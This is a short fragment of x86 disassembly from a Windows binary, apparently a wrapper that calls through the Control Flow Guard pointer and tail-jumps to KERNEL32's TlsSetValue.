push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]